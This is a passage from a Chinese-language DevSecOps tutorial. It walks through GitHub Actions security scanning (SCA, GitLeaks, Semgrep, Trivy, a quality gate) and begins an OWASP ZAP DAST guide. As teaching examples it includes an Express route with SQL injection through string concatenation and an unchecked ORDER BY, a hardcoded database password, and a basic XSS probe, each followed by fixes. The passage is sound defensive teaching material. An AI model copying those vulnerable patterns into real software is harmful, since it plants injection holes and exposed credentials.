# (進階)使用 Snyk 做更深度的 SCA 掃描
# - name: Snyk 依賴掃描
# uses: snyk/actions/node@master
# env:
# SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
# with:
# args: --severity-threshold=high
# ═══════════════════════════════════════
# 關卡二:機密掃描(Secret Scanning)
# ═══════════════════════════════════════
secret-scan:
name: 🔐 機密資訊掃描
runs-on: ubuntu-latest
steps:
- name: Checkout 程式碼(含完整 Git 歷史)
uses: actions/checkout@v4
with:
fetch-depth: 0 # 掃描完整 Git 歷史
- name: GitLeaks — 掃描洩漏的機密
uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# GitLeaks 會掃描:API Key、資料庫密碼、JWT Secret、
# AWS Access Key、Private Key 等常見機密格式
# ═══════════════════════════════════════
# 關卡三:靜態程式碼安全分析(SAST)
# ═══════════════════════════════════════
sast-scan:
name: 🔍 靜態安全分析
runs-on: ubuntu-latest
steps:
- name: Checkout 程式碼
uses: actions/checkout@v4
# Semgrep:輕量級 SAST 工具,支援 OWASP Top 10 規則
- name: Semgrep — 掃描程式碼安全漏洞
uses: returntocorp/semgrep-action@v1
with:
config: >-
p/owasp-top-ten
p/nodejs
p/javascript
p/typescript
# p/owasp-top-ten:涵蓋 OWASP Top 10 的掃描規則
# p/nodejs:Node.js 特定的安全規則
# p/javascript:JavaScript 通用安全規則
# ═══════════════════════════════════════
# 關卡四:容器映像掃描(如果使用 Docker)
# ═══════════════════════════════════════
container-scan:
name: 🐳 容器安全掃描
runs-on: ubuntu-latest
if: hashFiles('Dockerfile') != '' # 只在有 Dockerfile 時執行
steps:
- name: Checkout 程式碼
uses: actions/checkout@v4
- name: 建置 Docker 映像
run: docker build -t my-app:scan .
# Trivy:掃描容器映像中的 OS 套件和應用程式依賴漏洞
- name: Trivy — 掃描容器漏洞
uses: aquasecurity/trivy-action@master
with:
image-ref: 'my-app:scan'
format: 'table'
exit-code: '1' # 發現漏洞就失敗
severity: 'HIGH,CRITICAL' # 只阻擋高風險和嚴重漏洞
ignore-unfixed: true # 忽略尚無修補的漏洞
4.2 進階:ESLint 安全規則整合
除了 CI 的掃描,在開發階段就能用 ESLint 安全外掛即時提醒開發者:
// .eslintrc.js — 加入安全規則
module.exports = {
plugins: ['security'],
extends: ['plugin:security/recommended'],
rules: {
// 偵測不安全的正規表達式(ReDoS 攻擊)
'security/detect-unsafe-regex': 'error',
// 偵測 eval 相關的危險用法
'security/detect-eval-with-expression': 'error',
// 偵測可能的物件注入(Prototype Pollution)
'security/detect-object-injection': 'warn',
// 偵測不安全的 Buffer 用法
'security/detect-buffer-noassert': 'error',
// 偵測可能的 timing attack
'security/detect-possible-timing-attacks': 'warn',
// 偵測非字面值的正規表達式(可能的 ReDoS)
'security/detect-non-literal-regexp': 'warn',
// 偵測非字面值的 require(可能的任意檔案載入)
'security/detect-non-literal-require': 'warn',
},
};
把 ESLint 安全檢查也加進 CI:
# 加在 security.yml 的 jobs 裡
lint-security:
name: 📝 ESLint 安全規則檢查
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
cache: 'npm'
- run: npm ci
- name: ESLint 安全檢查
run: npx eslint . --ext .js,.ts --format stylish
4.3 完整的安全 Pipeline 流程圖
開發者 git push
│
▼
┌──────────────────┐
│ GitHub Actions │
│ 觸發 Workflow │
└──────┬───────────┘
│
├──▶ 📦 dependency-check (SCA)
│ └── npm audit --audit-level=high
│
├──▶ 🔐 secret-scan
│ └── GitLeaks 掃描完整 Git 歷史
│
├──▶ 🔍 sast-scan (SAST)
│ └── Semgrep OWASP Top 10 規則
│
├──▶ 📝 lint-security
│ └── ESLint Security Plugin
│
└──▶ 🐳 container-scan(如果有 Dockerfile)
└── Trivy 容器映像掃描
│
▼
┌──────────────────┐
│ 全部通過? │
│ ✅ → 允許合併 │
│ ❌ → 阻擋部署 │
└──────────────────┘
五、設定安全品質門檻(Security Quality Gate)
有了安全掃描工具還不夠,你還需要定義明確的品質門檻——什麼情況下要阻擋部署、什麼情況下只是警告。
5.1 品質門檻的三個等級
就像房屋驗收有不同等級的缺失:
| 等級 | 說明 | Pipeline 行為 | 範例 |
|---|---|---|---|
| 🔴 Critical(嚴重) | 立即可被利用的漏洞 | 阻擋部署,必須修復 | SQL Injection、RCE、硬編碼的 API Key |
| 🟡 High(高風險) | 有風險但需要特定條件才能利用 | 阻擋 PR 合併,限期修復 | XSS、CSRF、高風險 CVE 依賴 |
| 🟢 Medium/Low(中低風險) | 風險較低或難以利用 | 發出警告,排入 backlog | 資訊洩漏、低風險 CVE、代碼品質問題 |
5.2 實作品質門檻:建立統一的安全檢查腳本
// scripts/security-gate.js — 統一的安全品質門檻判斷
const fs = require('fs');
/**
* 安全品質門檻設定
* 根據你的團隊風險承受度調整
*/
const SECURITY_GATE = {
// SCA(依賴漏洞)
sca: {
block: ['critical', 'high'], // 這些等級會阻擋部署
warn: ['moderate'], // 這些等級只發出警告
ignore: ['low', 'info'], // 這些等級靜默忽略
maxAge: 30, // 已知漏洞超過 30 天未修會升級為 block
},
// SAST(程式碼漏洞)
sast: {
block: ['ERROR'], // Semgrep ERROR 等級阻擋
warn: ['WARNING'], // WARNING 等級發出提醒
maxFindings: 0, // block 等級的漏洞數量上限
},
// Secret(機密洩漏)
secret: {
block: true, // 只要偵測到機密就阻擋,零容忍
},
// Container(容器漏洞)
container: {
block: ['CRITICAL', 'HIGH'],
ignoreUnfixed: true, // 忽略尚無修補的漏洞
},
};
/**
* 檢查 npm audit 結果
*/
function checkSCAResults(auditOutput) {
const vulnerabilities = JSON.parse(auditOutput);
const blocked = [];
const warned = [];
for (const [name, detail] of Object.entries(vulnerabilities.vulnerabilities || {})) {
if (SECURITY_GATE.sca.block.includes(detail.severity)) {
blocked.push(<code class="kb-btn">🔴 [${detail.severity.toUpperCase()}] ${name}: ${detail.title || detail.url}</code>);
} else if (SECURITY_GATE.sca.warn.includes(detail.severity)) {
warned.push(<code class="kb-btn">🟡 [${detail.severity.toUpperCase()}] ${name}: ${detail.title || detail.url}</code>);
}
}
return { blocked, warned, passed: blocked.length === 0 };
}
/**
* 輸出報告
*/
function printReport(results) {
console.log('\n╔══════════════════════════════════════╗');
console.log('║ 🔒 Security Quality Gate Report ║');
console.log('╚══════════════════════════════════════╝\n');
if (results.blocked.length > 0) {
console.log('❌ 以下問題必須修復才能部署:\n');
results.blocked.forEach(item => console.log(<code class="kb-btn"> ${item}</code>));
console.log('');
}
if (results.warned.length > 0) {
console.log('⚠️ 以下問題建議修復(不阻擋部署):\n');
results.warned.forEach(item => console.log(<code class="kb-btn"> ${item}</code>));
console.log('');
}
if (results.passed) {
console.log('✅ Security Quality Gate: PASSED\n');
} else {
console.log('❌ Security Quality Gate: FAILED\n');
console.log('請修復以上 🔴 標記的問題後重新提交。');
process.exit(1); // 非零退出碼 → CI 失敗 → 阻擋部署
}
}
module.exports = { SECURITY_GATE, checkSCAResults, printReport };
5.3 在 GitHub Actions 中套用品質門檻
# 在所有掃描完成後,統一評估是否通過品質門檻
security-gate:
name: 🚦 安全品質門檻評估
needs: [dependency-check, secret-scan, sast-scan, lint-security]
runs-on: ubuntu-latest
if: always() # 即使前面的 job 失敗也要跑,才能給出完整報告
steps:
- name: 檢查所有安全掃描結果
run: |
echo "╔══════════════════════════════════════╗"
echo "║ 🔒 Security Quality Gate Report ║"
echo "╚══════════════════════════════════════╝"
echo ""
FAILED=0
# 檢查依賴掃描
if [ "${{ needs.dependency-check.result }}" == "failure" ]; then
echo "❌ 依賴套件掃描:發現高風險漏洞"
FAILED=1
else
echo "✅ 依賴套件掃描:通過"
fi
# 檢查機密掃描
if [ "${{ needs.secret-scan.result }}" == "failure" ]; then
echo "❌ 機密資訊掃描:偵測到洩漏的機密!"
FAILED=1
else
echo "✅ 機密資訊掃描:通過"
fi
# 檢查 SAST
if [ "${{ needs.sast-scan.result }}" == "failure" ]; then
echo "❌ 靜態安全分析:發現程式碼漏洞"
FAILED=1
else
echo "✅ 靜態安全分析:通過"
fi
# 檢查 ESLint 安全
if [ "${{ needs.lint-security.result }}" == "failure" ]; then
echo "⚠️ ESLint 安全規則:有警告(不阻擋)"
else
echo "✅ ESLint 安全規則:通過"
fi
echo ""
if [ "$FAILED" -eq 1 ]; then
echo "❌ Security Quality Gate: FAILED"
echo "請修復以上問題後重新提交 PR。"
exit 1
else
echo "✅ Security Quality Gate: PASSED"
echo "所有安全檢查通過,可以安全合併。"
fi
5.4 設定 Branch Protection 強制安全檢查
光有 CI 掃描還不夠,你要確保「不通過就不能合併」。在 GitHub 設定 Branch Protection Rules:
GitHub → Repository Settings → Branches → Branch protection rules
☑️ Require a pull request before merging
☑️ Require status checks to pass before merging
→ 搜尋並勾選:
✅ 📦 依賴套件安全檢查
✅ 🔐 機密資訊掃描
✅ 🔍 靜態安全分析
✅ 🚦 安全品質門檻評估
☑️ Require branches to be up to date before merging
☑️ Do not allow bypassing the above settings
這樣就算是 admin 也不能跳過安全檢查直接合併——就像消防檢查不合格的房子,不管你是屋主還是建商,都不能強制交屋。
六、實戰案例:台灣電商平台的安全 Pipeline
讓我們用一個完整的台灣電商情境,從頭到尾走一遍安全 Pipeline 的運作方式。
情境:ShopTW 電商平台
ShopTW 是一個台灣的電商平台,使用 Node.js + Express + PostgreSQL,部署在 AWS 上。團隊有 5 位工程師,剛開始導入 SSDLC。
一個普通的工作日:
工程師小明正在開發「商品評論功能」,他寫完了 API 程式碼,準備提交 PR:
// routes/reviews.js — 小明寫的商品評論 API
const express = require('express');
const router = express.Router();
const db = require('../db');
// 新增評論
router.post('/api/products/:id/reviews', async (req, res) => {
const productId = req.params.id;
const { rating, comment } = req.body;
const userId = req.user.id;
// ⚠️ 問題 1:SQL 字串拼接
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
VALUES ('${productId}', '${userId}', ${rating}, '${comment}')`;
await db.query(query);
res.json({ message: '評論已送出' });
});
// 查詢評論
router.get('/api/products/:id/reviews', async (req, res) => {
const productId = req.params.id;
const sort = req.query.sort || 'created_at';
// ⚠️ 問題 2:排序欄位沒有白名單驗證
const query = <code class="kb-btn">SELECT * FROM reviews WHERE product_id = '${productId}' ORDER BY ${sort}</code>;
const result = await db.query(query);
// ⚠️ 問題 3:直接回傳完整資料,可能包含敏感資訊
res.json(result.rows);
});
module.exports = router;
小明還不小心在設定檔裡留了一段:
// config/database.js
// ⚠️ 問題 4:硬編碼的資料庫密碼
module.exports = {
host: 'shopdb.abc123.ap-northeast-1.rds.amazonaws.com',
user: 'shop_admin',
password: 'ShopTW2024!SuperSecret', // TODO: 之後改用環境變數
database: 'shoptw_production',
};
小明提交 PR 後,安全 Pipeline 自動啟動:
🔍 SAST (Semgrep) 掃描結果:
❌ [ERROR] sql-injection — routes/reviews.js:12
SQL query built with string concatenation.
Use parameterized queries instead.
❌ [ERROR] sql-injection — routes/reviews.js:23
User-controlled data in SQL ORDER BY clause.
Use an allowlist for sort fields.
📦 SCA (npm audit) 掃描結果:
⚠️ [HIGH] express@4.17.1 — Prototype Pollution (CVE-2024-XXXX)
Recommendation: Upgrade to express@4.21.0
🔐 Secret Scanning (GitLeaks) 掃描結果:
❌ [CRITICAL] Hardcoded password detected — config/database.js:5
Pattern: password = 'ShopTW2024!SuperSecret'
🚦 Security Quality Gate: ❌ FAILED
修復 2 個 SQL Injection 漏洞和 1 個機密洩漏後重新提交。
Pipeline 阻擋了合併。 小明看到報告後,逐一修復:
// ✅ 修復後的 routes/reviews.js
const express = require('express');
const router = express.Router();
const db = require('../db');
const { body, param, query, validationResult } = require('express-validator');
// 排序欄位白名單
const ALLOWED_SORT_FIELDS = ['created_at', 'rating'];
// 新增評論 — 使用參數化查詢 + 輸入驗證
router.post('/api/products/:id/reviews',
[
param('id').isUUID(),
body('rating').isInt({ min: 1, max: 5 }),
body('comment').isString().isLength({ min: 1, max: 1000 }).trim().escape(),
],
async (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ error: '輸入資料格式不正確' });
}
const { id: productId } = req.params;
const { rating, comment } = req.body;
const userId = req.user.id;
// ✅ 參數化查詢,避免 SQL Injection
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
VALUES ($1, $2, $3, $4) RETURNING id`;
const result = await db.query(query, [productId, userId, rating, comment]);
res.status(201).json({
message: '評論已送出',
reviewId: result.rows[0].id
});
}
);
// 查詢評論 — 白名單驗證排序欄位
router.get('/api/products/:id/reviews',
[
param('id').isUUID(),
query('sort').optional().isIn(ALLOWED_SORT_FIELDS),
],
async (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ error: '查詢參數不正確' });
}
const { id: productId } = req.params;
const sort = ALLOWED_SORT_FIELDS.includes(req.query.sort)
? req.query.sort
: 'created_at';
// ✅ 參數化查詢 + 白名單排序
const result = await db.query(
`SELECT id, rating, comment, created_at
FROM reviews WHERE product_id = $1 ORDER BY ${sort} DESC`,
[productId]
);
// ✅ 只回傳必要欄位
res.json({ reviews: result.rows });
}
);
module.exports = router;
// ✅ 修復後的 config/database.js — 使用環境變數
module.exports = {
host: process.env.DB_HOST,
user: process.env.DB_USER,
password: process.env.DB_PASSWORD,
database: process.env.DB_NAME,
};
小明重新推上程式碼,Pipeline 再次執行:
🔍 SAST: ✅ 通過(0 個漏洞)
📦 SCA: ⚠️ 1 個中風險依賴(已排入下週更新計畫)
🔐 Secret: ✅ 通過(無機密洩漏)
🚦 Security Quality Gate: ✅ PASSED
PR 順利合併。整個修復過程只花了 30 分鐘。如果這些漏洞等到上線後才被滲透測試發現,可能需要好幾天的緊急修補,還有個資外洩的風險。
七、可複用的安全 Pipeline 模板
以下是一個可以直接複製到你專案的完整模板:
GitHub Actions 安全 Pipeline 模板
# .github/workflows/security.yml
#
# SSDLC 安全 Pipeline 模板
# 適用於 Node.js 專案
#
# 使用方式:
# 1. 將此檔案複製到 .github/workflows/ 目錄
# 2. 設定 Branch Protection Rules 要求這些 checks 必須通過
# 3. 根據團隊需求調整 severity threshold
#
name: 🔒 Security Pipeline
on:
push:
branches: [main, develop]
pull_request:
branches: [main, develop]
schedule:
- cron: '0 1 * * 1' # 每週一 UTC 01:00(台灣時間 09:00)
permissions:
contents: read
security-events: write
jobs:
sca:
name: 📦 SCA — 依賴漏洞掃描
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: '20', cache: 'npm' }
- run: npm ci
- run: npm audit --audit-level=high --omit=dev
secrets:
name: 🔐 Secrets — 機密掃描
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with: { fetch-depth: 0 }
- uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
sast:
name: 🔍 SAST — 靜態安全分析
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: returntocorp/semgrep-action@v1
with:
config: >-
p/owasp-top-ten
p/nodejs
gate:
name: 🚦 Security Gate
needs: [sca, secrets, sast]
runs-on: ubuntu-latest
if: always()
steps:
- run: |
echo "=== Security Quality Gate ==="
PASS=true
[ "${{ needs.sca.result }}" = "failure" ] && echo "❌ SCA" && PASS=false || echo "✅ SCA"
[ "${{ needs.secrets.result }}" = "failure" ] && echo "❌ Secrets" && PASS=false || echo "✅ Secrets"
[ "${{ needs.sast.result }}" = "failure" ] && echo "❌ SAST" && PASS=false || echo "✅ SAST"
[ "$PASS" = "false" ] && exit 1
echo "✅ All security checks passed"
安全 Pipeline 導入 Checklist
## CI/CD 安全整合導入 Checklist
### 第一週:基礎建設
- [ ] 建立 .github/workflows/security.yml
- [ ] 設定 npm audit(SCA 掃描)
- [ ] 設定 GitLeaks(機密掃描)
- [ ] 設定 Branch Protection Rules
### 第二週:強化掃描
- [ ] 加入 Semgrep(SAST 掃描)
- [ ] 設定 ESLint Security Plugin
- [ ] 定義安全品質門檻(block / warn / ignore)
- [ ] 設定每週排程掃描(cron job)
### 第三週:團隊協作
- [ ] 撰寫「安全掃描結果處理 SOP」
- [ ] 設定 Slack/Teams 通知(掃描失敗時通知頻道)
- [ ] 為團隊做一次安全 Pipeline 教學
- [ ] 建立 .gitleaksignore(合理的排除清單)
### 第四週:持續優化
- [ ] 檢視過去一個月的掃描結果,調整誤報規則
- [ ] 評估是否加入 DAST(動態掃描)
- [ ] 評估是否加入容器掃描(如果使用 Docker)
- [ ] 將安全掃描時間納入團隊的 Sprint 規劃
八、團隊落地建議:讓安全 Pipeline 不只是「裝飾品」
建議一:從「不阻擋」到「阻擋」的漸進式導入
很多團隊一開始就設定「有任何漏洞就擋住」,結果開發者天天被擋、產生抗拒心理,最後乾脆把安全 Pipeline 關掉。
漸進式導入策略:
| 階段 | 時間 | 策略 | 說明 |
|---|---|---|---|
| 觀察期 | 第 1-2 週 | 只掃描、不阻擋 | 讓團隊熟悉工具,觀察誤報率 |
| 試行期 | 第 3-4 週 | 只阻擋 Critical | 只擋住最嚴重的問題(如機密洩漏、RCE) |
| 正式期 | 第 5 週起 | 阻擋 Critical + High | 開始對高風險漏洞說「不」 |
| 成熟期 | 第 9 週起 | 完整品質門檻 | 包含 Medium 的限期修復機制 |
建議二:處理誤報——別讓「狼來了」毀掉信任
安全掃描工具一定會有誤報(False Positive)。如果團隊每天看到一堆「漏洞警告」結果都是誤報,最後大家就會習慣性地忽略——就像每天喊「狼來了」的牧童。
處理誤報的方式:
# .semgrepignore — Semgrep 排除清單
# 排除測試檔案(測試中的硬編碼值是正常的)
tests/
__tests__/
*.test.js
*.spec.js
# 排除第三方產生的程式碼
node_modules/
dist/
build/
# .gitleaksignore — GitLeaks 排除清單
# 排除測試用的假密碼
test-fixtures/fake-credentials.json
# 排除已知的 false positive(附上 issue 連結)
# Issue: https://github.com/your-repo/issues/123
config/example.env
關鍵原則:
每一條排除規則都要附上原因和 Issue 連結。不要只是靜默忽略,要讓其他人知道「為什麼這不是問題」。
建議三:讓掃描結果「可見」
不要讓安全掃描結果只藏在 CI log 裡。讓它出現在團隊日常能看到的地方:
- PR Comment:安全掃描結果自動貼在 PR 的留言區
- Slack 通知:掃描失敗時自動通知 #security 頻道
- Dashboard:用 GitHub Security Tab 追蹤漏洞趨勢
# 在安全 Pipeline 中加入 Slack 通知
notify:
name: 📢 通知
needs: [gate]
runs-on: ubuntu-latest
if: failure()
steps:
- name: 通知 Slack
uses: slackapi/slack-github-action@v1
with:
channel-id: 'C_SECURITY'
slack-message: |
🚨 安全掃描失敗!
Repository: ${{ github.repository }}
PR: ${{ github.event.pull_request.html_url }}
請相關開發者盡快檢視。
env:
SLACK_BOT_TOKEN: ${{ secrets.SLACK_BOT_TOKEN }}
飛飛觀點:
安全 Pipeline 的成功不是看「擋了多少漏洞」,而是看「團隊有沒有習慣看掃描結果」。如果開發者提交 PR 後會主動檢查安全掃描有沒有通過——恭喜你,安全文化已經開始扎根了。
九、常見問題 FAQ
Q1:安全掃描會不會讓 CI 變很慢?
不會太慢。以一個中型 Node.js 專案(10 萬行程式碼)為例,各項掃描的平均耗時:npm audit 約 10-30 秒、GitLeaks 約 20-60 秒、Semgrep 約 1-3 分鐘、ESLint Security 約 30-60 秒。全部跑完約 3-5 分鐘。而且這四項可以平行執行(GitHub Actions 的 jobs 預設就是平行的),所以總耗時約等於最慢的那一項。相比整條 CI Pipeline 通常 10-20 分鐘的總耗時,安全掃描只佔了一小部分。
Q2:我的專案不是 Node.js,這些工具還能用嗎?
大部分都能。Semgrep 支援 Python、Java、Go、Ruby、PHP 等 20 多種語言。GitLeaks 不看語言,它掃的是 Git commit 中的機密模式。Trivy 支援所有容器映像。你只需要把 <code>npm audit</code> 替換成你語言對應的 SCA 工具即可,例如 Python 用 <code>safety</code> 或 <code>pip-audit</code>、Java 用 <code>OWASP Dependency-Check</code>。
Q3:開源的免費工具夠用嗎?還是要買商業工具?
對大多數中小型團隊來說,免費工具完全足夠。 Semgrep + npm audit + GitLeaks + Trivy 這套組合能覆蓋 80% 以上的常見漏洞。商業工具(如 Snyk、Checkmarx)的優勢在於更低的誤報率、更好的修復建議、企業級報表和合規支援。建議先用免費工具建立基礎,等到團隊成熟、有明確需求時再評估商業工具。
Q4:Vibe Coding 時代,AI 生成的程式碼需要額外注意什麼?
AI 生成的程式碼更需要安全 Pipeline。根據實際經驗,AI 生成的程式碼常見的安全問題包括:SQL 字串拼接(不使用參數化查詢)、缺少輸入驗證、硬編碼測試用密碼或金鑰、使用已知有漏洞的舊版套件。建議把 AI 生成的程式碼視為「需要安全審查的外部貢獻」——先過安全 Pipeline 掃描,再做 Code Review。安全 Pipeline 正是 AI 時代開發的安全網。
十、結語:讓安全成為部署的「自然動作」
回到蓋房子的比喻。
沒有人會說:「交屋前的驗收檢查太麻煩了,我們跳過吧。」因為驗收不合格的房子,住進去是要出事的。
CI/CD 安全整合也是一樣。當你在 Pipeline 裡加入安全關卡,安全就不再是「上線前臨時想起來的事」,而是「每次部署都自然而然會經過的檢查站」。
最棒的是,這一切都是自動的。你不需要每次都請資安團隊手動審查,你只需要設定好規則,讓機器替你把關。開發者該做的,就是寫好程式、推上 Git——剩下的,Pipeline 會告訴你。
安全不是恐懼,而是創造的基礎。
當你的每一次部署都通過了自動化安全檢查,你就能更有信心地交付產品——因為你知道,你的房子不只漂亮,更經得起考驗。
延伸閱讀
[安全測試] 002 DAST 動態測試實戰:用 OWASP ZAP 掃描你的網站,讓漏洞無所遁形
「程式碼寫得再安全,上線後不實際攻攻看,你怎麼知道門有沒有鎖好?」
— SSDLC by 飛飛
為什麼你需要 DAST?靜態掃描抓不到的,動態掃描來補
在 SSDLC 的學習旅程中,我們已經走過了安全需求定義、安全設計、安全編碼,也認識了 OWASP Top 10 的攻防手法。現在,來到了階段四:安全驗證(Verification)——是時候真正「動手打打看」了。
延續蓋房子的比喻:前面的階段就像畫好了防震設計圖(安全設計)、用了防火建材施工(安全編碼)。但房子蓋好後,你總得找人來實際搖一搖、敲一敲、拿火燒一下,確認這些防護真的有效吧?
這就是 DAST(Dynamic Application Security Testing,動態應用程式安全測試) 在做的事。
SAST vs. DAST:一個看設計圖,一個看成品
你可能聽過 SAST(靜態分析),它是在程式碼層面找問題,就像看建築設計圖找結構缺陷。而 DAST 則是在系統實際運行的狀態下,從外部發動攻擊,看看能不能打進去。
| 比較項目 | SAST(靜態分析) | DAST(動態分析) |
|---|---|---|
| 檢測時機 | 開發階段,分析原始碼 | 測試/上線階段,攻擊運行中的系統 |
| 比喻 | X 光片看骨骼結構 | 請專業小偷實際測試防盜系統 |
| 需要原始碼? | 需要 | 不需要(黑箱測試) |
| 能找到的問題 | 程式碼邏輯缺陷、不安全的寫法 | 實際可被利用的漏洞、設定錯誤 |
| 找不到的問題 | 執行環境的設定問題 | 程式碼內部邏輯(看不到原始碼) |
| 誤報率 | 較高(不確定是否真的能被利用) | 較低(真的打進去了才算) |
| 代表工具 | SonarQube、Semgrep | OWASP ZAP、Burp Suite |
飛飛觀點:
SAST 和 DAST 不是二選一,而是互補。SAST 像是你的家庭醫生做健檢,DAST 像是找專業駭客做滲透測試。兩個都做,才能最大程度確保系統安全。在 SSDLC 裡,我們建議兩者都整合進 CI/CD Pipeline。
什麼是 OWASP ZAP?免費又強大的安全掃描神器
ZAP(Zed Attack Proxy) 是全世界最廣泛使用的網頁應用程式安全掃描器。它是開源免費的,由社群持續維護,是 GitHub Top 1000 專案之一。目前由 Checkmarx 贊助維護,最新穩定版本為 2.17.0。
用一句話解釋 ZAP 在做什麼:它模擬駭客的行為,自動對你的網站發動各種攻擊,然後告訴你哪裡有漏洞。
ZAP 的核心運作原理:中間人代理
ZAP 的工作方式就像一個「翻譯官」,站在你的瀏覽器和網站之間:
你的瀏覽器 ←→ ZAP(攔截、分析、修改請求) ←→ 你的網站
就像便利商店的監視器——所有進出的人(HTTP 請求與回應)都會被記錄下來。ZAP 不只記錄,還會分析這些流量,找出可疑的安全問題。
ZAP 能幫你找到什麼?
ZAP 的掃描規則涵蓋了 OWASP Top 10 的大部分類別:
| OWASP Top 10 類別 | ZAP 能偵測的範例 |
|---|---|
| A01 Broken Access Control | 目錄遍歷、敏感檔案暴露 |
| A02 Security Misconfiguration | 缺少安全標頭、錯誤頁面洩漏資訊 |
| A03 Software Supply Chain | 使用已知有漏洞的 JavaScript 函式庫 |
| A05 Injection | SQL Injection、XSS、OS Command Injection |
| A07 Authentication Failures | 弱密碼、Session 管理問題 |
| A08 Integrity Failures | 缺少 SRI 標籤 |
| A09 Logging & Alerting | 無法直接檢測(需要人工審查) |
安裝 OWASP ZAP:三種方式任你選
方式一:桌面版安裝(推薦新手)
最直覺的方式,有圖形化介面,適合學習和手動探索。
系統需求: Java 17 或更高版本
到 ZAP 官方下載頁面 下載對應作業系統的安裝檔:
| 作業系統 | 安裝方式 |
|---|---|
| Windows | 下載 .exe 安裝檔,或用 <code>winget install ZAP</code> |
| macOS | 下載 .dmg,拖到 Applications |
| Linux | 下載 .tar.gz,或用 <code>flatpak install flathub org.zaproxy.ZAP</code> |
方式二:Docker 安裝(推薦 CI/CD 整合)
不需要安裝 Java,一行指令搞定,最適合自動化:
# 拉取穩定版映像
docker pull zaproxy/zap-stable
# 或是拉取精簡版(CI 環境專用,體積更小)
docker pull ghcr.io/zaproxy/zaproxy:bare
方式三:套件管理器
# macOS(Homebrew)
brew install --cask zap
# Windows(Scoop)
scoop install extras/zap
# Windows(Chocolatey)
choco install zap
飛飛觀點:
如果你是第一次接觸 DAST,建議先用桌面版玩一玩,熟悉介面和概念後,再學 Docker 版做自動化。就像學開車,先在練習場熟悉方向盤,再上高速公路。
ZAP 基本操作:從零開始掃描你的第一個網站
重要提醒:只掃描你有權限的系統
在開始之前,最重要的事情:
絕對不要對沒有授權的網站執行安全掃描。 這不只是道德問題,還可能觸犯法律。就像你不能因為「想測試防盜系統」就去撬別人家的門。
安全的練習環境:
| 練習平台 | 說明 | 網址 |
|---|---|---|
| OWASP Juice Shop | 故意有漏洞的電商網站 | https://owasp.org/www-project-juice-shop/ |
| OWASP WebGoat | 互動式資安教學平台 | https://owasp.org/www-project-webgoat/ |
| DVWA | 經典的漏洞練習平台 | https://github.com/digininja/DVWA |
| nodelab.feifei.tw | 飛飛的 Node.js 練習靶站 | https://nodelab.feifei.tw |
以下示範,我們用 OWASP Juice Shop 作為掃描目標。
Step 1:啟動練習靶站
# 用 Docker 啟動 Juice Shop
docker run -d -p 3000:3000 bkimminich/juice-shop
# 確認靶站運行中
# 打開瀏覽器,連到 http://localhost:3000
Step 2:啟動 ZAP 並設定掃描目標
打開 ZAP 桌面版後,你會看到一個歡迎畫面,選擇「Automated Scan」(自動掃描)。
在「URL to attack」欄位輸入:
http://localhost:3000
Step 3:理解 ZAP 的三種掃描模式
ZAP 提供三種掃描模式,就像檢查房子安全的三種力道:
| 掃描模式 | 做了什麼 | 風險程度 | 適用場景 |
|---|---|---|---|
| Spider(爬蟲) | 自動探索網站的所有連結和頁面 | 低(只是瀏覽) | 了解網站結構 |
| Passive Scan(被動掃描) | 分析經過 ZAP 的流量,不主動攻擊 | 低(只看不打) | 快速找出明顯問題 |
| Active Scan(主動掃描) | 對目標發動實際攻擊測試 | 高(會送惡意 payload) | 找出可被利用的漏洞 |
建議順序:
Spider → Passive Scan → Active Scan
先探索 → 再觀察 → 最後動手打
飛飛觀點:
被動掃描隨時可以跑,它就像站在路邊觀察交通流量。但主動掃描要小心,它會真的發送攻擊請求——所以千萬不要對正式環境的生產系統跑主動掃描,除非你有明確的授權和風險評估。
Step 4:執行自動掃描
在 ZAP 的 Quick Start 標籤中:
- 輸入目標 URL:<code>http://localhost:3000</code>
- 點擊「Attack」
- ZAP 會依序執行:Spider → Passive Scan → Active Scan
掃描過程中,你可以在下方的面板看到即時進度:
- Spider 標籤:顯示發現的 URL 數量
- Active Scan 標籤:顯示掃描進度百分比
- Alerts 標籤:顯示已發現的安全問題
掃描報告解讀:看懂 ZAP 告訴你的事
掃描完成後,ZAP 會產生一份包含所有發現的報告。讓我們學會怎麼看。
Alert 的風險等級
ZAP 用四種顏色標示風險等級:
| 風險等級 | 顏色 | 說明 | 處理優先順序 |
|---|---|---|---|
| High(高) | 🔴 紅色 | 可被直接利用的嚴重漏洞 | 立即修復 |
| Medium(中) | 🟠 橘色 | 有潛在風險但利用條件較複雜 | 盡快修復 |
| Low(低) | 🟡 黃色 | 資訊洩漏或最佳實踐未遵循 | 排程修復 |
| Informational(資訊) | 🔵 藍色 | 參考資訊,不一定是漏洞 | 評估後決定 |
常見的掃描發現與修復建議
以下是對 Juice Shop 或一般 Node.js 網站掃描時最常看到的問題:
🔴 High:SQL Injection
ZAP 發現什麼: 在搜尋功能或登入表單中,注入 SQL 語句後得到異常回應。
修復方式:
// ❌ 危險:字串拼接
const query = <code>SELECT * FROM products WHERE name = '${userInput}'</code>;
// ✅ 安全:參數化查詢
const query = 'SELECT * FROM products WHERE name = $1';
const result = await pool.query(query, [userInput]);
🔴 High:Cross-Site Scripting(XSS)
ZAP 發現什麼: 在輸入欄位注入 <code><script>alert(1)</script></code> 後,腳本被執行。
修復方式:
// ✅ 使用輸出編碼
const he = require('he');
const safeOutput = he.encode(userInput);
// ✅ 使用 DOMPurify 清理 HTML
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
const cleanHTML = DOMPurify.sanitize(dirtyInput);
🟠 Medium:Missing Security Headers
ZAP 發現什麼: HTTP 回應缺少關鍵的安全標頭。
修復方式:
const helmet = require('helmet');
app.use(helmet());
// 或手動設定
app.use((req, res, next) => {
